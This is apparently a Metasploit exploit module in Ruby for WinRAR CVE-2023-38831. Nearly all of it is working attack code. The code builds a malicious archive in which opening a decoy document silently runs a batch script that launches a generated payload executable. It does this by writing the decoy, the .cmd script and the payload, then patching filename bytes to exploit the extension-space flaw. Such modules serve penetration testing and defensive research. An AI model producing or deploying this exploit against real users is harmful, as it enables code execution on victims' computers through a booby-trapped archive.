WinRAR Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinRAR CVE-2023-38831 Exploit',
        'Description' => %q{
          This module exploits a vulnerability in WinRAR (CVE-2023-38831). When a user opens a crafted RAR file and its
          embedded document, the decoy document is executed, leading to code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Alexander "xaitax" Hagenah'],
        'References' => [
          ['CVE', '2023-38831'],
          ['URL', 'https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/'],
          ['URL', 'https://b1tg.github.io/post/cve-2023-38831-winrar-analysis/']
        ],
        'Platform' => ['win'],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Targets' => [['Windows', {}]],
        'Payload' => {
          'DisableNops' => true
        },
        'DisclosureDate' => '2023-08-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('OUTPUT_FILE', [true, 'The output filename.', 'poc.rar']),
      OptPath.new('INPUT_FILE', [true, 'Path to the decoy file (PDF, JPG, PNG, etc.).'])
    ])

    register_advanced_options([
      OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload executable.', nil])
    ])
  end

  def exploit
    Dir.mktmpdir do |temp_dir|
      output_rar = File.join(Msf::Config.local_directory, datastore['OUTPUT_FILE'])
      input_file = datastore['INPUT_FILE']
      decoy_name = File.basename(input_file)
      decoy_ext = ".#{File.extname(input_file)[1..]}"
      payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) + '.exe'

      decoy_dir = File.join(temp_dir, "#{decoy_name}A")
      Dir.mkdir(decoy_dir)

      payload_path = File.join(decoy_dir, payload_name)
      File.open(payload_path, 'wb') { |file| file.write(generate_payload_exe) }

      bat_script = <<~BAT
        @echo off
        start "" "%~dp0#{payload_name}"
        start "" "%~dp0#{decoy_name}"
      BAT

      bat_path = File.join(decoy_dir, "#{decoy_name}A.cmd")
      File.write(bat_path, bat_script)

      FileUtils.cp(input_file, File.join(temp_dir, "#{decoy_name}B"))

      zip_path = File.join(temp_dir, 'template.zip')
      Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile|
        zipfile.add("#{decoy_name}B", File.join(temp_dir, "#{decoy_name}B"))
        zipfile.add("#{decoy_name}A/#{decoy_name}A.cmd", bat_path)
        zipfile.add("#{decoy_name}A/#{payload_name}", payload_path)
      end

      content = File.binread(zip_path)
      content.gsub!(decoy_ext + 'A', decoy_ext + ' ')
      content.gsub!(decoy_ext + 'B', decoy_ext + ' ')

      File.binwrite(output_rar, content)

      print_good("Created #{output_rar}")
    end
  end

end